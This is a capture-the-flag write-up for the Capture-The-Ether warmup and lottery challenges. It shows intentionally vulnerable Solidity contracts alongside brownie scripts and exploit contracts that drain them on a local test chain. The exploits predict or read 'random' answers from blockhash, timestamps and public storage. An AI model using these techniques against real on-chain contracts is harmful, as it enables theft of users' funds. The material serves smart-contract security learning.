Capture-The-Ether CTF - Warmup & Lotteries


Warmup

Deploy a contract

To complete this challenge, you need to:

Install MetaMask.
Switch to the Ropsten test network.
Get some Ropsten ether. Clicking the “buy” button in MetaMask will take you to a faucet that gives out free test ether.
After you’ve done that, press the red button on the left to deploy the challenge contract.

You don’t need to do anything with the contract once it’s deployed. Just click the “Check Solution” button to verify that you deployed successfully.

1
2
3
4
5
6
7
8
pragma solidity ^0.4.21;

contract DeployChallenge {
// This tells the CaptureTheFlag contract that the challenge is complete.
function isComplete() public pure returns (bool) {
return true;
}
}

This challenge introduces how a smart contract is deployed since the ropsten network is depreciated I am using the local Ganache network with brownie framework to deploy and interact with the contracts.

1
2
3
4
5
6
7
from brownie import DeployChallenge, accounts


def main():
player = accounts[0]
contract = DeployChallenge.deploy({'from': player})
assert contract.isComplete() == True

Call me

To complete this challenge, all you need to do is call a function.

The “Begin Challenge” button will deploy the following contract:

1
2
3
4
5
6
7
8
9
pragma solidity ^0.4.21;

contract CallMeChallenge {
bool public isComplete = false;

function callme() public {
isComplete = true;
}
}

To complete this challenge, we need to call the callme() function of the contract.

1
2
3
4
5
6
7
8
9
10
11
from brownie import CallMeChallenge, accounts


def main():
deployer = accounts[0]
player = accounts[1]

contract = CallMeChallenge.deploy({'from': deployer})
contract.callme({'from': player})

assert contract.isComplete() == True

Choose a nickname

It’s time to set your Capture the Ether nickname! This nickname is how you’ll show up on the leaderboard.

The CaptureTheEther smart contract keeps track of a nickname for every player. To complete this challenge, set your nickname to a non-empty string. The smart contract is running on the Ropsten test network at the address 0x71c46Ed333C35e4E6c62D32dc7C8F00D125b4fee.

Here’s the code for this challenge:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pragma solidity ^0.4.21;

// Relevant part of the CaptureTheEther contract.
contract CaptureTheEther {
mapping(address => bytes32) public nicknameOf;

function setNickname(bytes32 nickname) public {
nicknameOf[msg.sender] = nickname;
}
}

// Challenge contract. You don't need to do anything with this; it just verifies
// that you set a nickname for yourself.
contract NicknameChallenge {
CaptureTheEther cte;
address player;

// Your address gets passed in as a constructor parameter.
function NicknameChallenge(address _player, address _cte) public {
player = _player;
cte = CaptureTheEther(_cte);
}

// Check that the first character is not null.
function isComplete() public view returns (bool) {
return cte.nicknameOf(player)[0] != 0;
}
}

To complete this challenge, we need to choose a nickname by calling the setNickname() function with our nickname as the argument.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from brownie import CaptureTheEther, NicknameChallenge, accounts


def main():
deployer = accounts[0]
player = accounts[1]

cte_contract = CaptureTheEther.deploy({'from': deployer})
nc_contract = NicknameChallenge.deploy(
player, cte_contract.address, {'from': deployer})

# padded null bytes just to make it 32 bytes.
cte_contract.setNickname(b'\x00'*28 = b'pyr0', {'from': player})

assert nc_contract.isComplete() == True

Lotteries

Guess the number

I’m thinking of a number. All you have to do is guess it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pragma solidity ^0.4.21;

contract GuessTheNumberChallenge {
uint8 answer = 42;

function GuessTheNumberChallenge() public payable {
require(msg.value == 1 ether);
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function guess(uint8 n) public payable {
require(msg.value == 1 ether);

if (n == answer) {
msg.sender.transfer(2 ether);
}
}
}

To complete this challenge, we need to guess the answer, but the answer is hardcoded inside the contract, and it is 42, so we can complete this challenge just by calling the guess() function with the number 42 as the argument.

1
2
3
4
5
6
7
8
9
10
11
12
13
from brownie import GuessTheNumberChallenge, accounts


def main():
deployer = accounts[0]
player = accounts[1]

contract = GuessTheNumberChallenge.deploy(
{'from': deployer, 'value': '1 ether'})

contract.guess(42, {'from': player, 'value': '1 ether'})

assert contract.isComplete() == True

Guess the secret number

Putting the answer in the code makes things a little too easy.

This time I’ve only stored the hash of the number. Good luck reversing a cryptographic hash!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pragma solidity ^0.4.21;

contract GuessTheSecretNumberChallenge {
bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;

function GuessTheSecretNumberChallenge() public payable {
require(msg.value == 1 ether);
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function guess(uint8 n) public payable {
require(msg.value == 1 ether);

if (keccak256(n) == answerHash) {
msg.sender.transfer(2 ether);
}
}
}

To complete this challenge, we need to guess the answer. Unlike the previous challenge, here, the answer hash is hardcoded instead of the answer, and it is almost impossible to crack the hash and get the answer. However, we can observe that the guess() function takes uint8 as the argument, which means the answer range lies between 0-256, which can be brute-forced. So to solve this challenge, we can brute-force the answer and check with hash to get the answer and pass it to the guess() function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from brownie import GuessTheSecretNumberChallenge, accounts, web3


def main():
deployer = accounts[0]
player = accounts[1]

contract = GuessTheSecretNumberChallenge.deploy(
{'from': deployer, 'value': '1 ether'})

for i in range(256):
if web3.eth.get_storage_at(contract.address, 0) == web3.soliditySha3(abi_types=['uint8'], values=[i]):
contract.guess(i, {'from': player, 'value': '1 ether'})
print(f'[ ] got the Guess: {i} !!')
break

assert contract.isComplete() == True

Guess the random number

This time the number is generated based on a couple fairly random sources.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pragma solidity ^0.4.21;

contract GuessTheRandomNumberChallenge {
uint8 answer;

function GuessTheRandomNumberChallenge() public payable {
require(msg.value == 1 ether);
answer = uint8(keccak256(block.blockhash(block.number - 1), now));
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function guess(uint8 n) public payable {
require(msg.value == 1 ether);

if (n == answer) {
msg.sender.transfer(2 ether);
}
}
}

To complete this challenge, we need to guess the random number generated by the contract. One thing to remember is that an Ethereum virtual machine is a deterministic machine that cannot generate pseudorandom numbers inside the contract. If it does generate a random number, then the miner gets the advantage of executing the transaction multiple times until he gets a random number of his desire and then includes the transaction in the blockchain. This is an unfair advantage for the miner and contradicts the basic concept of decentralisation. However, the contract uses the blockhash of the previous block and the time to get the random number and stores it in the contract. Since all the storage in a smart contract is public, we can read the number and pass it to the guess() function to solve this challenge.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from brownie import GuessTheRandomNumberChallenge, accounts, web3


def main():
deployer = accounts[0]
player = accounts[1]

contract = GuessTheRandomNumberChallenge.deploy(
{'from': deployer, 'value': '1 ether'})

contract.guess(web3.eth.get_storage_at(contract.address, 0),
{'from': player, 'value': '1 ether'})

assert contract.isComplete() == True

Guess the new number

The number is now generated on-demand when a guess is made.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pragma solidity ^0.4.21;

contract GuessTheNewNumberChallenge {
function GuessTheNewNumberChallenge() public payable {
require(msg.value == 1 ether);
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function guess(uint8 n) public payable {
require(msg.value == 1 ether);
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));

if (n == answer) {
msg.sender.transfer(2 ether);
}
}
}

This contract calculates the random number in the same way as the last challenge, but this contract does not store the number. However, the blockhash and timestamp are public. We can calculate the random number and call the contract simultaneously so that the guess and the answer match.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
pragma solidity ^0.7.3;

interface GuessTheNewNumberChallenge {
function isComplete() external view returns (bool);

function guess(uint8 n) external payable;
}

contract Gtnn_Exploit {
GuessTheNewNumberChallenge gtnn;

constructor(address _address) payable {
require(msg.value == 1 ether);
gtnn = GuessTheNewNumberChallenge(_address);
}

function exploit() public {
uint8 ans = uint8(
uint256(
keccak256(
abi.encodePacked(
blockhash(block.number - 1),
block.timestamp
)
)
)
);
gtnn.guess{value: 1 ether}(ans);
}

receive() external payable {}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from brownie import GuessTheNewNumberChallenge, Gtnn_Exploit, accounts, web3


def main():
deployer = accounts[0]
player = accounts[1]

contract = GuessTheNewNumberChallenge.deploy(
{'from': deployer, 'value': '1 ether'})
exploit = Gtnn_Exploit.deploy(
contract.address, {'from': player, 'value': '1 ether'})

tx = exploit.exploit({'from': player})
print(tx)

assert contract.isComplete() == True

Predict the future

This time, you have to lock in your guess before the random number is generated. To give you a sporting chance, there are only ten possible answers.

Note that it is indeed possible to solve this challenge without losing any ether.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
pragma solidity ^0.4.21;

contract PredictTheFutureChallenge {
address guesser;
uint8 guess;
uint256 settlementBlockNumber;

function PredictTheFutureChallenge() public payable {
require(msg.value == 1 ether);
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function lockInGuess(uint8 n) public payable {
require(guesser == 0);
require(msg.value == 1 ether);

guesser = msg.sender;
guess = n;
settlementBlockNumber = block.number + 1;
}

function settle() public {
require(msg.sender == guesser);
require(block.number > settlementBlockNumber);

uint8 answer = uint8(
keccak256(block.blockhash(block.number - 1), now)
) % 10;

guesser = 0;
if (guess == answer) {
msg.sender.transfer(2 ether);
}
}
}

In this challenge, we need to lock a guess using the lockInGuess() function, and use the settle() function to evaluate the guess, this time the range is narrowed down to only 10 numbers, so I just passed 0x05 to the lockInGuess() function and waited for the block which gives 5 when the random number is calculated inside the contract and then called settle() function to complete the challenge.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
pragma solidity ^0.4.21;

interface PredictTheFutureChallenge {
function isComplete() external view returns (bool);

function lockInGuess(uint8 n) external payable;

function settle() external;
}

contract Ptf_Exploit {
PredictTheFutureChallenge ptf;

constructor(address _address) payable {
require(msg.value == 1 ether);
ptf = PredictTheFutureChallenge(_address);
ptf.lockInGuess.value(1 ether)(0x05);
}

function exploit() public {
uint8 ans = uint8(keccak256(block.blockhash(block.number - 1), now)) %
10;
if (ans == uint8(0x05)) {
ptf.settle();
}
}

function() external payable {}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from brownie import PredictTheFutureChallenge, Ptf_Exploit, accounts, chain


def main():
deployer = accounts[0]
player = accounts[1]

contract = PredictTheFutureChallenge.deploy(
{'from': deployer, 'value': '1 ether'})
exploit = Ptf_Exploit.deploy(
contract.address, {'from': player, 'value': '1 ether'})

while not contract.isComplete():
exploit.exploit()

assert contract.isComplete() == True

Predict the block hash

Guessing an 8-bit number is apparently too easy. This time, you need to predict the entire 256-bit block hash for a future block.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pragma solidity ^0.4.21;

contract PredictTheBlockHashChallenge {
address guesser;
bytes32 guess;
uint256 settlementBlockNumber;

function PredictTheBlockHashChallenge() public payable {
require(msg.value == 1 ether);
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function lockInGuess(bytes32 hash) public payable {
require(guesser == 0);
require(msg.value == 1 ether);

guesser = msg.sender;
guess = hash;
settlementBlockNumber = block.number + 1;
}

function settle() public {
require(msg.sender == guesser);
require(block.number > settlementBlockNumber);

bytes32 answer = block.blockhash(settlementBlockNumber);

guesser = 0;
if (guess == answer) {
msg.sender.transfer(2 ether);
}
}
}

This challenge is very similar to the last challenge. However, this challenge uses only the block.blockhash() function to generate the random number since block.blockhash() gives only block hashes of the last 256 blocks. If we wait for 256 blocks, the function returns 0, which results in the answer being 0, so we can pass 0 to the lockInGuess() function and wait for 256 blocks to complete and then call the settle() function to solve this challenge.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from brownie import PredictTheBlockHashChallenge, accounts, chain


def main():
deployer = accounts[0]
player = accounts[1]

contract = PredictTheBlockHashChallenge.deploy(
{'from': deployer, 'value': '1 ether'})

contract.lockInGuess(b'\x00'*32, {'from': player, 'value': '1 ether'})
chain.mine(257)
contract.settle({'from': player})

assert contract.isComplete() == True